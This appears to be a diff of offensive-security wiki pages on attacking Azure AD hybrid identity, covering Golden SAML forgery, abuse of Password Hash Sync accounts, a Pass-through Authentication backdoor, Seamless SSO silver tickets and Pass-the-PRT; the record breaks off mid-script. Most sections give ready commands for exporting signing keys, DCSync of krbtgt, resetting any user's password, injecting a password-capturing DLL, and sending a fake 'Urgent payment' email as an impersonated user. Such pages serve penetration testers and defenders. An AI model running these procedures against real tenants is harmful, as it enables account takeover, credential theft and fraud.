- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
|
||||
- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
|
||||
- A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
|
||||
- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
|
||||
- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML attack:**
|
||||
|
||||
- In ADFS, SAML Response is signed by a token-signing certificate.
|
||||
- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
|
||||
- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
|
||||
- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
|
||||
- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
|
||||
The process where an **Identity Provider (IdP)** produces a **SAMLResponse** to authorize user sign-in is paramount. Depending on the IdP's specific implementation, the **response** might be **signed** or **encrypted** using the **IdP's private key**. This procedure enables the **Service Provider (SP)** to confirm the authenticity of the SAMLResponse, ensuring it was indeed issued by a trusted IdP.
|
||||
|
||||
A parallel can be drawn with the [golden ticket attack](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), where the key authenticating the user’s identity and permissions (KRBTGT for golden tickets, token-signing private key for golden SAML) can be manipulated to **forge an authentication object** (TGT or SAMLResponse). This allows impersonation of any user, granting unauthorized access to the SP.
|
||||
|
||||
Golden SAMLs offer certain advantages:
|
||||
|
||||
- They can be **created remotely**, without the need to be part of the domain or federation in question.
|
||||
- They remain effective even with **Two-Factor Authentication (2FA)** enabled.
|
||||
- The token-signing **private key does not automatically renew**.
|
||||
- **Changing a user’s password does not invalidate** an already generated SAML.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is a Microsoft service that facilitates the **secure exchange of identity information** between trusted business partners (federation). It essentially allows a domain service to share user identities with other service providers within a federation.
|
||||
|
||||
With AWS trusting the compromised domain (in a federation), this vulnerability can be exploited to potentially **acquire any permissions in the AWS environment**. The attack necessitates the **private key used to sign the SAML objects**, akin to needing the KRBTGT in a golden ticket attack. Access to the AD FS user account is sufficient to obtain this private key.
|
||||
|
||||
The requirements for executing a golden SAML attack include:
|
||||
|
||||
- **Token-signing private key**
|
||||
- **IdP public certificate**
|
||||
- **IdP name**
|
||||
- **Role name (role to assume)**
|
||||
- Domain\username
|
||||
- Role session name in AWS
|
||||
- Amazon account ID
|
||||
|
||||
_Only the items in bold are mandatory. The others can be filled in as desired._
|
||||
|
||||
To acquire the **private key**, access to the **AD FS user account** is necessary. From there, the private key can be **exported from the personal store** using tools like [mimikatz](https://github.com/gentilkiwi/mimikatz). To gather the other required information, you can utilize the Microsoft.Adfs.Powershell snapin as follows, ensuring you're logged in as the ADFS user:
|
||||
|
||||
```powershell
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
|
||||
# ADFS Public Certificate
|
||||
[System.Convert]::ToBase64String($cer.rawdata)
|
||||
|
||||
# IdP Name
|
||||
(Get-ADFSProperties).Identifier.AbsoluteUri
|
||||
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
|
||||
With all the information, it's possible to forget a valid SAMLResponse as the user you want to impersonate using [**shimit**](https://github.com/cyberark/shimit)**:**
|
||||
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
|
||||
# pk - Private key file full path (pem format)
|
||||
# c - Certificate file full path (pem format)
|
||||
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
|
||||
# n - Session name in AWS
|
||||
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
|
||||
# id - AWS account id e.g. 123456789012
|
||||
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
```powershell
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
# On AD FS server execute as administrator
|
||||
Get-AdfsProperties | select identifier
|
||||
|
||||
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
|
||||
# You need to use the one from AzureAD.
|
||||
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
|
||||
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
It's also possible to create ImmutableID of cloud only users and impersonate them
|
||||
|
||||
```powershell
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
# Az - PHS - Password Hash Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.
|
||||
|
||||
All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
|
||||
Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.
|
||||
|
||||
The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.
|
||||
|
||||
When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.
|
||||
|
||||
**PHS** is required for features like **Identity Protection** and AAD Domain Services.
|
||||
|
||||
## Pivoting
|
||||
|
||||
When PHS is configured some **privileged accounts** are automatically **created**:
|
||||
|
||||
- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
|
||||
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.
|
||||
|
||||
Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
|
||||
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
It's possible to extract the configuration from one of the tables, being one encrypted:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
|
||||
|
||||
You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Finding the **Azure AD connect server**
|
||||
|
||||
If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:
|
||||
|
||||
```powershell
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
|
||||
### Abusing MSOL\_\*
|
||||
|
||||
```powershell
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.
|
||||
|
||||
### Abusing Sync\_\*
|
||||
|
||||
Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)
|
||||
|
||||
```powershell
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
|
||||
It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)
|
||||
|
||||
```powershell
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
|
||||
It's also possible to dump the password of this user.
|
||||
|
||||
> [!CAUTION]
|
||||
> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication allows your users to **sign in to both on-premises and cloud-based applications using the same passwords**. This feature provides your users a better experience - one less password to remember, and reduces IT helpdesk costs because your users are less likely to forget how to sign in. When users sign in using Azure AD, this feature **validates users' passwords directly against your on-premises Active Directory**.
|
||||
|
||||
In PTA **identities** are **synchronized** but **passwords** **aren't** like in PHS.
|
||||
|
||||
The authentication is validated in the on-prem AD and the communication with cloud is done by an **authentication agent** running in an **on-prem server** (it does't need to be on the on-prem DC).
|
||||
|
||||
### Authentication flow
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password**
|
||||
2. The **credentials** are **encrypted** and set in a **queue** in Azure AD
|
||||
3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.**
|
||||
4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user.
|
||||
|
||||
> [!WARNING]
|
||||
> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\
|
||||
> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key).
|
||||
|
||||
### On-Prem -> cloud
|
||||
|
||||
If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication):
|
||||
|
||||
```powershell
|
||||
Install-AADIntPTASpy
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed:
|
||||
|
||||
```powershell
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
|
||||
This backdoor will:
|
||||
|
||||
- Create a hidden folder `C:\PTASpy`
|
||||
- Copy a `PTASpy.dll` to `C:\PTASpy`
|
||||
- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process
|
||||
|
||||
> [!NOTE]
|
||||
> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed.
|
||||
|
||||
### Cloud -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**.
|
||||
|
||||
It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration.
|
||||
|
||||
The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets.
|
||||
|
||||
**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO.
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**:
|
||||
|
||||
```powershell
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
|
||||
# Dump using ntdsutil and DSInternals
|
||||
## Dump NTDS.dit
|
||||
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
|
||||
## Extract password
|
||||
Install-Module DSInternals
|
||||
Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
|
||||
With the hash you can now **generate silver tickets**:
|
||||
|
||||
```powershell
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
|
||||
To utilize the silver ticket, the following steps should be executed:
|
||||
|
||||
1. **Initiate the Browser:** Mozilla Firefox should be launched.
|
||||
2. **Configure the Browser:**
|
||||
- Navigate to **`about:config`**.
|
||||
- Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
3. **Access the Web Application:**
|
||||
- Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/).
|
||||
4. **Authentication Process:**
|
||||
- At the logon screen, the username should be entered, leaving the password field blank.
|
||||
- To proceed, press either TAB or ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> This doesn't bypass MFA if enabled
|
||||
|
||||
#### Option 2 without dcsync - SeamlessPass
|
||||
|
||||
It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following:
|
||||
|
||||
- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user.
|
||||
- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT
|
||||
- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method).
|
||||
|
||||
Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with:
|
||||
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
|
||||
Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
#### ~~Creating Kerberos tickets for cloud-only users~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\
|
||||
> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**.
|
||||
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+284
@@ -0,0 +1,284 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Check if you have a PRT
|
||||
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
|
||||
In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:
|
||||
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
|
||||
The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page.
|
||||
|
||||
### PRT Cookie flow using TPM
|
||||
|
||||
The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).**
|
||||
|
||||
The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes).
|
||||
|
||||
Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Abuse Scenarios
|
||||
|
||||
As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\
|
||||
This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages.
|
||||
|
||||
As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs.
|
||||
|
||||
## Pass-the-PRT Attack Examples
|
||||
|
||||
### Attack - ROADtoken
|
||||
|
||||
For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**.
|
||||
|
||||
To generate a valid PRT cookie the first thing you need is a nonce.\
|
||||
You can get this with:
|
||||
|
||||
```powershell
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
